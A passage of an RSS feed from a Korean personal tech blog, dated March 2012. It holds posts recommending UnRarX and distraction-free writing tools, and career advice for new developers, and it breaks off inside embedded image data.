&lt;a href=&quot;/803&quot; &gt;요즘 편하게 글을 쓸수 있는 툴을 미친듯이(?) 찾아다니고 있습니다.&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/802&quot; &gt;개발을 포기하지 마세요 ㅠㅠ 꾸준히 노력하시면 곧 좋은 날 올거에요. ㅠㅠ&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/798&quot; &gt;정리... 그리고 새로운 시작...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(16)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/790&quot; &gt;2012년 한 해도 새해 복 많이 받으세요 ;)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/26&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>잡담</category>
			<category>오늘 내가 살아갈 이유</category>
			<category>책</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/805</guid>
			<comments>http://kkamagui.tistory.com/805#entry805comment</comments>
			<pubDate>Fri, 23 Mar 2012 22:28:05 +0900</pubDate>
		</item>
		<item>
			<title>맥용 RAR 압축 해제 유틸~ UnRarX</title>
			<link>http://kkamagui.tistory.com/804</link>
			<description>얼마전 맥미니(Mac mini)를 중고로 구매한지라 맥에서 이것 저것 많이 해보고 있습니다. ^^;;; 윈도우를 쓰다가 맥을 쓰니 불편한 점이 한두 가지가 아닌데요, 그중에 오늘 겪은 건... RAR 파일 압축 해제입니다. OTL.... 그냥은 압축이 안풀리더군요.&lt;br /&gt;
&lt;br /&gt;그래서 찾은 것이 바로~!! UnRarX입니다. &lt;br /&gt;
&lt;br /&gt;&lt;a href=&quot;http://www.unrarx.com/&quot; target=&quot;_blank&quot; title=&quot;[http://www.unrarx.com/]로 이동합니다.&quot;&gt;&lt;blockquote style=&quot;display: inline !important; &quot;&gt;&amp;nbsp;http://www.unrarx.com/&lt;/blockquote&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.unrarx.com/&quot; target=&quot;_blank&quot; title=&quot;[http://www.unrarx.com/]로 이동합니다.&quot;&gt;&lt;br /&gt;
&lt;/a&gt;위의 링크에서 다운 받은 뒤 압축 풀 파일을 드래그 &amp;amp; 드랍 해주시면 알아서 풀어줍니다. ^^;;;&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-804-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-804-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-804-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F804&amp;regts=1332050938&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/맥%28Mac%20OS%20X%29&quot;&gt;맥(Mac OS X)&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/804&quot; &gt;맥용 RAR 압축 해제 유틸~ UnRarX&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(12)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/801&quot; &gt;XCode 설치 시 iTunes를 종료하라고 나오는 경우 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(8)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/13&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>맥(Mac OS X)</category>
			<category>Rar</category>
			<category>맥미니</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/804</guid>
			<comments>http://kkamagui.tistory.com/804#entry804comment</comments>
			<pubDate>Sun, 18 Mar 2012 15:08:58 +0900</pubDate>
		</item>
		<item>
			<title>요즘 편하게 글을 쓸수 있는 툴을 미친듯이(?) 찾아다니고 있습니다.</title>
			<link>http://kkamagui.tistory.com/803</link>
			<description>다들 아시겠지만 무언가를 쓴다는 자체가 사실은 상당히 집중력을 요하는 작업입니다. ㅠㅠ 그래서 주위에서 말을 걸거나 아니면 걱정 거리가 있는 상황에서는 진도를 못나가고 계속 앉아있는 상황이 되버리지요. ㅠㅠ

&lt;p&gt;그래서 편하게 작업할 수 있는 환경을 만들고 싶어 &lt;a href=&quot;http://blog-kkamagui.cloudfoundry.com/posts/1&quot;&gt;마크다운&lt;/a&gt;을 배우고 이를 이용해서작업할 수 있는 &lt;a href=&quot;http://kkamagui.tistory.com/797&quot;&gt;환경&lt;/a&gt;을 구축했습니다. 사실 별 것 아닌 것 같지만 상당히 심적 부담도 덜어지고 작업하기도 편하더군요(뭐랄까요... 심플함 + 내가 대충써도 잘 나오겠지 하는 안도감의 조합 때문이랄까요? ㅎㅎ)&lt;/p&gt;

&lt;p&gt;그러다보니 이제는 글쓰는 툴까지 내려가게 됬는데요, 웹 환경에서 상당히 편하게 작업할 수 있는 툴을 발견했습니다. 발견 한 곳은 &lt;a href=&quot;http://www.paulisystems.net/post.cfm/nothing-but-writing-distraction-free-writing-tools&quot;&gt;여기&lt;/a&gt;인데, 웹 환경에서 쓰는 툴도 있고 데스크톱에 설치해서 쓰는 툴도 있습니다. 이중에서 제가 선택한 툴은 웹 환경의 &lt;a href=&quot;http://writer.bighugelabs.com/&quot;&gt;Writer&lt;/a&gt;와 데스크톱 환경의 &lt;a href=&quot;http://www.codealchemists.com/jdarkroom/&quot;&gt;JDarkRoom&lt;/a&gt; 입니다.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://writer.bighugelabs.com/&quot;&gt;Writer&lt;/a&gt;의 경우, 웹상에서 동작하니 OS를 타지 않는 것이 장점이라고 할 수 있겠네요. ^^;;; 그 외에 다른 것은 사실 간단한 텍스트 에디팅 기능을 크게 넘지 않아서 뭐라 표현하기가 힘들군요. 마크다운(Markdown) 문법이라도 지원해주면 좋으련만....&lt;/p&gt;

&lt;p&gt;&lt;img style=&quot;width: 643px; height: 502px;&quot; src=&quot;http://www.paulisystems.net/assets/content/image0.png&quot; alt=&quot;Writer&quot;&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://www.codealchemists.com/jdarkroom/&quot;&gt;JDarkRoom&lt;/a&gt;의 경우, 전체화면을 지원하고 마크다운 또한 지원하기 때문에 작성된 텍스트 파일의 결과물을 html 형식으로 만들 수 있습니다. 그것 외에는 역시 단순한 에디팅 정도군요. ^^;;;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.codealchemists.com/jdarkroom/sc_1.png&quot; alt=&quot;JDarkRoom&quot;&gt;&lt;/p&gt;

&lt;p&gt;개발 환경이 Windows + Linux 였는데, 여기에 Mac까지 더해지니 환경 구성하는 것 또한 일이군요. 리눅스에서는 일사천리로 셋팅되던 루비가 윈도우나 맥에서는 쉽지 않다는 것부터 시작해서 키 맵핑 문제와 파일 공유 등등... 아우 신경쓸게 한두가지가 아니네요. ^^;;; 이제 왠만한 프로그램은 크로스 플랫폼이 되는 걸로 선택해야 겠습니다. ㅎㅎ&lt;/p&gt;

&lt;p&gt;새로운 글 쓰기 환경이 필요하시다면, &lt;a href=&quot;http://writer.bighugelabs.com/&quot;&gt;Writer&lt;/a&gt;와 &lt;a href=&quot;http://www.codealchemists.com/jdarkroom/&quot;&gt;JDarkRoom&lt;/a&gt;은 어떠세요?&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-803-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-803-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-803-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F803&amp;regts=1331883303&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/잡담&quot;&gt;잡담&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/806&quot; &gt;새로운 분야에 적응하는 중입니다. &amp;gt;ㅁ&amp;lt;)-b (저 살아있어요 ㅠㅠ)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(8)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/04/14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/805&quot; &gt;[서평] 오늘 내가 살아갈 이유...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/803&quot; &gt;요즘 편하게 글을 쓸수 있는 툴을 미친듯이(?) 찾아다니고 있습니다.&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/802&quot; &gt;개발을 포기하지 마세요 ㅠㅠ 꾸준히 노력하시면 곧 좋은 날 올거에요. ㅠㅠ&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/798&quot; &gt;정리... 그리고 새로운 시작...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(16)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/790&quot; &gt;2012년 한 해도 새해 복 많이 받으세요 ;)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/26&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>잡담</category>
			<category>글쓰기 환경</category>
			<category>전체화면</category>
			<category>툴</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/803</guid>
			<comments>http://kkamagui.tistory.com/803#entry803comment</comments>
			<pubDate>Fri, 16 Mar 2012 16:31:00 +0900</pubDate>
		</item>
		<item>
			<title>개발을 포기하지 마세요 ㅠㅠ 꾸준히 노력하시면 곧 좋은 날 올거에요. ㅠㅠ</title>
			<link>http://kkamagui.tistory.com/802</link>
			<description>&lt;p&gt;
  &lt;/p&gt;

&lt;p&gt;얼마 전에 회사에 갓 입사하신 분을 만났습니다. 그분의 고민도 들어줄 겸해서 말이지요. ^^;;; 사실 제가 누구를 만나서 좋은 말을 해줄 수 있는 사람이 아니기 때문에 조금 망설였는데요, 예전에 제가 했던 고민과 같은 고민을 하고 계시더군요. ㅠㅠ 그래서 혹시 도움이 될까해서 저녁에 잠시 만나 고기 한 점하며 이런 저런 이야기를 나누었습니다.&lt;/p&gt;

&lt;p&gt;그분의 고민은 개발하는 게 좋은데 입사한 선배들이 이야기를 들어보면 다들 개발보다는 영어 공부를 하라고 하니 어떻게 하면 좋겠냐는 거였습니다. 사실 저도 입사하기 전에 선배들한테 이런 저런 이야기를 많이 들었는데요, 그중에 가장 많이 들었던게 &quot;영어 공부&quot;였습니다. 물론, 그분들이 개발을 그리 즐기지 않기 때문에 그런 것도 있겠지만, 사실은 회사에 입사해서 필요한 스킬 중에 한 가지가 영어였기 때문입니다. ^^;;; &lt;/p&gt;

&lt;p&gt;사람의 능력은 한계가 있기 때문에 두마리 토끼를 다 잡기는 어렵지요. 그래서 &quot;선택과 집중&quot;을 해야하는데 제가 택한 방법은 &quot;개발&quot;에 집중하면서 주로 영어로된 자료나 사이트에서 정보를 얻는 겁니다. 요즘은 실력있는 분들이 블로그나 다른 웹사이트 형태로 지식을 많이 정리해두어 한글로 된 자료를 찾기가 쉬워졌는데요, 제가 OS를 만들던 2002년만 해도 그렇지 않았거든요. ^^;;; &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;뭐 하나 만들려면 외국 웹사이트를 죄다 뒤져서 하드웨어 관련 스펙을 찾아 진행해야 했으니 말이죠. 처음에는 영어로 된 자료를 읽기가 쉽지 않았는데 자꾸 읽다보니 어느새 익숙해지더라구요(물론 그렇다고 술술 읽을 수 있는 건 아닙니다. ㅠㅠ 사전이 필수라는...  OTL). &lt;/p&gt;

&lt;p&gt;&quot;개발&quot;도 하고 &quot;영어 공부&quot;도 하고... 나름대로 괜찮은 방법 아닌가요? ㅎㅎ 이 때문인지 저는 지금까지 근무하면서 영어로 된 스펙을 읽어 업무를 처리한다거나 같이 협업을 하는데 큰 어려움이 없었습니다. 그리고 하고 싶은 개발에 시간을 계속 투자할 수 있었기 때문에 &lt;a href=&quot;http://www.yes24.com//24/goods/5271779&quot;&gt;64비트 멀티코어 OS 원리와 구조&lt;/a&gt;도 출간할 수 있었구요. &lt;em&gt;^^&lt;/em&gt;&lt;/p&gt;

&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a title=&quot;[http://www.yes24.com//24/goods/5271779]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://www.yes24.com//24/goods/5271779&quot;&gt;&lt;img src=&quot;data:image/png;base64,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